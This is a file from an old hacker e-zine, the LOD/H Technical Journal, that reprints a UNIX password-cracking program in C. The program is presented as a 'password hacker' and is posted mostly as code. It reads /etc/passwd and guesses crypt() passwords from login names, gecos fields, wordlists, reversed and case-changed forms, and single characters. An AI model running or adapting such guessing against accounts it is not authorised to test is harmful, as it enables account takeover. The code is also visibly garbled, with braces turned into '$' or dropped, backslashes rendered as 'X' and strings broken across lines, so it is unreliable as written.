home *** CD-ROM | disk | FTP | other *** search
- The LOD/H Technical Journal, Issue #3: File 09 of 11
-
- ----------------> UNIX Password Hacker: Courtesy of USENET <------------------
-
- The following is an extensive unix password hacking program taken off
- USENET awhile back. It resembles Shooting Sharks' HPW.C program in some ways
- but this program has more options. Read the REM statements to determine what
- options you wish to enable. If nothing else, this program can give those who
- wish to write a similar program an idea of how and what you want to put in it.
-
-
- - - - - - - - - - - - - - - - - - cut here - - - - - - - - - - - - - - - - - -
- -
-
-
- #include <stdio.h>
- #include <pwd.h>
- #include <ctype.h>
-
- #define index strchr
- #ifndef lint
- static char *rcsid = "$Header: pwchkr.c,v 1.2 85/11/30 22:42:07 richl Exp $";
- #endif
-
- /*
- * Warning: this program burns a lot of cpu.
- */
- /*
- * pwchkr - find accounts with poor passwords
- Date: Tue, 29 Nov 83 18:19:32 pst
- From: leres%ucbarpa@Berkeley (Craig Leres)
- Modified by Seth Alford, Roger Southwick, Steve Dum, and
- Rick Lindsley for Tektronix
- */
-
- /*
- * $Log: pwchkr.c,v $
- * Revision 1.2 85/11/30 22:42:07 richl
- * Added code to allow for password aging.
- *
- * Revision 1.1 85/09/10 16:00:56 root
- * Initial revision
- *
- *
- * By default, this program only checks for accounts with passwords the same
- * as the login name. The following options add more extensive checking. (The
- * tradeoff is cpu time -- with all options enabled it can run into the 100's
- * of MINUTES.) Any argument that does not begin with a "-" is assumed to be
- * a file name. (A single '-' means stdin.) If no file name is given,
- * /etc/passwd is used.
- *
- * Options:
- *
- * -v: verbose -- list all guesses on stdout
- * -u: output teh username on the line of the password file
- * currently being checked. If the program stops
- * abruptly you will then know how far it got.
- * -w file: use the list of words contained in "file" as likely
- * passwords. Words in the file are one to a line.
- * -b: check all guesses backwards too
- * -g: use the Full Name portion of the gecos field to
- * generate more guesses
- * -s: check the single letters a-z, A-Z, 0-9 as passwords
- * -c: with each guess, check for all-lowercase and
- * all-uppercase versions too.
- * -n: complain about null passwords (default is to keep
- quiet)
- */
-
- int verbose = 0, singles = 0, backwards = 0, checkgecos = 0, checkcase = 0,
- chknulls = 0, users = 0, chkwords = 0;
-
- char *index(), *reverse();
- long atol();
- FILE *fopen();
- char *fgets();
-
- char PASSWD[] = "/etc/passwd";
- char EMPTY[] = "";
- static FILE *pwf = NULL, *wlf = NULL;
- char line[BUFSIZ+1];
- struct passwd passwd;
- char *Curpw, *Wordlist = NULL;
-
- main(argc, argv)
- char **argv;
- $
- register int i;
- register char *arg;
- int onedone = 0;
-
-
- for (i = 1; i < argc; i++)
- if ((arg = argv[i]) && *arg == '-')
- while (*++arg) $
- switch (*arg) $
- case 'n':
- /*
- * complain about null passwords
- */
- chknulls++;
- break;
- case 'c':
- /*
- * check cases
- */
- checkcase++;
- break;
- case 'g':
- /*
- * use gecos
- */
- checkgecos++;
- break;
- case 'v':
- /*
- * turn on motormouth
- */
- verbose++;
- break;
- case 'b':
- /*
- * check all attempts forwards and backwards
- */
- backwards++;
- break;
- case 's':
- /*
- * carry out a more intensive search, checking for
- * single letter passwords
- */
- singles++;
- break;
- case 'u':
- /*
- * print out users as testing
- */
- users++;
- break;
- case 'w':
- /*
- * consult word list of likely passwords
- */
- if ((Wordlist = argv[i+1]) == NULL) $
- fprintf(stderr,
- "%s: No file supplied with -w optionXn",
- argv[0]);
- exit (1);
-
- argv[i+1] = NULL;
- break;
- case 'X0':
- /*
- * read from stdin
- */
- break;
- default:
- fprintf(stderr,
- "%s: unknown option '%c'. Options are:Xn",argv[0],
- *arg);
- /* FALL THRU */
- case '-':
- fprintf(stderr,"-v:XtXtverbose -- list all guesses on
- stdoutXn");
- fprintf(stderr,"-u:XtXtoutput the username currently
- being checkedXn");
- fprintf(stderr,"-w file:Xtconsult the indicated file
- for words to check as passwordsXn");
- fprintf(stderr,"-b:XtXtcheck all guesses forwards and
- backwardsXn");
- fprintf(stderr,"-g:XtXtuse the Full name portion of the
- gecos field for more guessesXn");
- fprintf(stderr,"-s:XtXtcheck the single letters a-z,
- A-Z, 0-9 as passwordsXn");
- fprintf(stderr,"-c:XtXtcheck the all-upper and
- all-lower case version of each guessXn");
- fprintf(stderr,"-n:XtXtcomplain about null
- passwordsXn");
- exit(1);
-
- argv[i] = NULL;
-
-
- for (i = 1; i < argc; i++) $
- if (argv[i] == NULL) continue;
- onedone++;
- if (*(argv[i]) == '-') $
- /*
- * read from stdin; we'll cheat and set pwf directly
- */
- pwf = stdin;
- chkpw();
- /*
- * don't fclose stdin!
- */
- clearerr(stdin);
-
- else $
- if (setpwent(argv[i])) $
- perror(argv[i]);
- continue;
-
- Curpw = argv[i];
- chkpw();
- endpwent();
-
-
- if (!onedone) $
- Curpw = NULL;
- chkpw();
-
- exit(0);
-
-
- #define ARB_CONST 30000
-
- chkpw()
-
- $
- register char *cp, *cp2;
- register struct passwd *pwd;
- struct passwd *getpwent();
- char guess[100];
- char *wordarray[ARB_CONST];
- char *malloc(), **wordptr, **endptr;
- int done = 0;
-
-
- if (Wordlist)
- $
- if ((wlf = fopen(Wordlist,"r")) == NULL)
- $
- perror(Wordlist);
- exit(1);
-
-
- wordptr = wordarray;
- /*
- * note that endptr points to space OUTSIDE of wordarray
- */
- endptr = wordarray + (sizeof(wordarray)/sizeof(char *));
-
- while (fscanf(wlf,"%[^Xn]Xn",guess) != EOF)
- $
- if (wordptr == endptr)
- $
- fprintf(stderr,"Ran out of wordlist space. ARB_CONST %d must be
- too small.Xn", ARB_CONST);
- exit(1);
-
- if ((*wordptr = malloc(1+strlen(guess))) == NULL)
- $
- fprintf(stderr,"malloc: no more memory for wordlistXn");
- exit (1);
-
- strcpy(*wordptr,guess);
- wordptr++;
-
- *wordptr = NULL;
-
-
- while ((pwd = getpwent()) != 0 ) $
-
- if (verbose || users) $
- if (Curpw == NULL)
- printf("Xt%s X"%sX"Xn", pwd->pw_name, pwd->pw_gecos);
- else
- printf("%s -- Xt%s X"%sX"Xn", Curpw, pwd->pw_name,
- pwd->pw_gecos);
- fflush(stdout);
-
- if (*pwd->pw_passwd == 'X0') $
- if (chknulls) $
- if (Curpw == NULL)
- printf("Problem: null passwd:Xt%sXtshell: %sXn",
- pwd->pw_name, pwd->pw_shell);
- else
- printf("%s -- Problem: null passwd:Xt%sXtshell: %sXn",
- Curpw, pwd->pw_name, pwd->pw_shell);
- fflush(stdout);
-
- continue;
-
- /*
- * Try the user's login name
- */
- if (uandltry(pwd,pwd->pw_name))
- continue;
-
- /*
- * Try names from the gecos field
- */
- if (checkgecos) $
- strcpy(guess, pwd->pw_gecos);
- cp = guess;
- if (*cp == '-') cp++; /* special gecos field */
- if ((cp2 = index(cp, ';')) != NULL)
- *cp2 = 'X0';
-
- for (;;) $
- if ((cp2 = index(cp, ' ')) == NULL) $
- if (uandltry(pwd,cp))
- done++;
- break;
-
-
- *cp2 = 'X0';
-
- if (uandltry(pwd,cp)) $
- done++;
- break;
-
- cp = ++cp2;
-
-
- if (!done && Wordlist)
- $
- /*
- * try the words in the wordlist
- */
- wordptr = wordarray;
- while (endptr != wordptr)
- $
- if (*wordptr == NULL)
- break;
- if (uandltry(pwd,*wordptr++))
- $
- done++;
- break;
-
-
- if (!done && singles) $
- /*
- * Try all single letters
- * (try digits too . --Seth)
- */
- guess[1] = 'X0';
- for (guess[0]='a'; guess[0] <= 'z'; guess[0]++)
- if (try(pwd,guess))
- break;
- for (guess[0]='A'; guess[0] <= 'Z'; guess[0]++)
- if (try(pwd,guess))
- break;
- for (guess[0]='0'; guess[0] <= '9'; guess[0]++)
- if (try(pwd,guess))
- break;
-
-
- /*
- * Stands for "upper and lower" try. Calls the "real" try, below,
- * with the supplied version of the password, and with
- * an upper and lowercase version of the password. If the user doesn't
- * want to try upper and lower case then we just return after the one
- * check.
- */
-
- uandltry (pwd,guess)
- char *guess;
- struct passwd *pwd;
- $
- register char *cp;
- char buf[100];
- int alllower, allupper;
-
- alllower = allupper = 1;
-
- if (try(pwd,guess) || (backwards && try(pwd,reverse(guess)))) return (1);
-
- if (!checkcase) return(0);
-
- strcpy (buf, guess);
- cp = buf-1;
- while (*++cp) $
- if (isupper(*cp))
- alllower = 0;
- if (islower(*cp))
- allupper = 0;
-
-
- if (!allupper) $
- for ( cp=buf; *cp != 'X0'; cp++)
- if (islower (*cp))
- *cp += 'A' - 'a';
-
- if (try(pwd,buf) || (backwards && try(pwd,reverse(buf)))) return (1);
-
-
- if (!alllower) $
- for ( cp = buf; *cp != 'X0'; cp++)
- if (isupper (*cp))
- *cp += 'a' - 'A';
-
- if (try(pwd,buf) || (backwards && try(pwd,reverse(buf)))) return (1);
-
- return (0);
-
-
- try(pwd,guess)
- char *guess;
- register struct passwd *pwd;
- $
- register char *cp;
- char *crypt ();
-
- if (verbose) $
- if (Curpw == NULL)
- printf ("Trying X"%sX" on %sXn", guess, pwd -> pw_name);
- else
- printf ("%s -- Trying X"%sX" on %sXn", Curpw, guess,
- pwd -> pw_name);
- fflush (stdout);
-
- if (! guess || ! *guess) return(0);
- cp = crypt (guess, pwd -> pw_passwd);
- if (strcmp (cp, pwd -> pw_passwd))
- return (0);
- if (Curpw == NULL)
- printf ("Problem: Guessed:Xt%sXtshell: %s passwd: %sXn",
- pwd -> pw_name, pwd -> pw_shell, guess);
- else
- printf ("%s -- Problem: Guessed:Xt%sXtshell: %s passwd: %sXn",
- Curpw, pwd -> pw_name, pwd -> pw_shell, guess);
- fflush (stdout);
- return (1);
-
- /* end of PW guessing program */
-
- #define MAXUID 0x7fff /* added by tonyb 12/29/83 */
- /* altered to a reasonable number - mae 8/20/84 */
-
- /*
- * Add a parameter to "setpwent" so I can override the file name.
- */
-
- setpwent(file)
- char *file;
- $
- if ((pwf = fopen(file,"r")) == NULL)
- return(1);
- return(0);
-
-
- endpwent()
-
- $
- fclose(pwf);
- pwf = NULL;
-
-
- char *
- pwskip(p)
- register char *p;
- $
- while(*p && *p != ':' && *p != 'Xn')
- ++p;
- if(*p == 'Xn')
- *p = 'X0';
- else if(*p)
- *p++ = 'X0';
- return(p);
-
-
- struct passwd *
- getpwent()
- $
- register char *p;
- long x;
-
- if(pwf == NULL)
- if (setpwent(PASSWD)) $
- perror(PASSWD);
- return(NULL);
-
- p = fgets(line, BUFSIZ, pwf);
- if(p == NULL)
- return(0);
- passwd.pw_name = p;
- p = pwskip(p);
- passwd.pw_passwd = p;
- p = pwskip(p);
- x = atol(p);
- passwd.pw_uid = (x < 0 || x > MAXUID)? (MAXUID+1): x;
- p = pwskip(p);
- x = atol(p);
- passwd.pw_gid = (x < 0 || x > MAXUID)? (MAXUID+1): x;
- passwd.pw_comment = EMPTY;
- p = pwskip(p);
- passwd.pw_gecos = p;
- p = pwskip(p);
- passwd.pw_dir = p;
- p = pwskip(p);
- passwd.pw_shell = p;
- (void) pwskip(p);
-
- p = passwd.pw_passwd;
- /* while(*p && *p != ',')
- p++;
- if(*p)
- *p++ = 'X0';
- passwd.pw_age = p;
- */
- return(&passwd);
-
-
- /*
- * reverse a string
- */
- char *reverse(str)
- char *str;
-
- $
- register char *ptr;
- register int len;
- char *malloc();
-
- if ((ptr = malloc((len = strlen(str))+1)) == NULL)
- return(NULL);
- ptr += len;
- *ptr = 'X0';
- while (*str && (*--ptr = *str++))
- ;
- return(ptr);
-
-
- - - - - - - - - - - - - - - - - - cut here - - - - - - - - - - - - - - - - - -
- -
-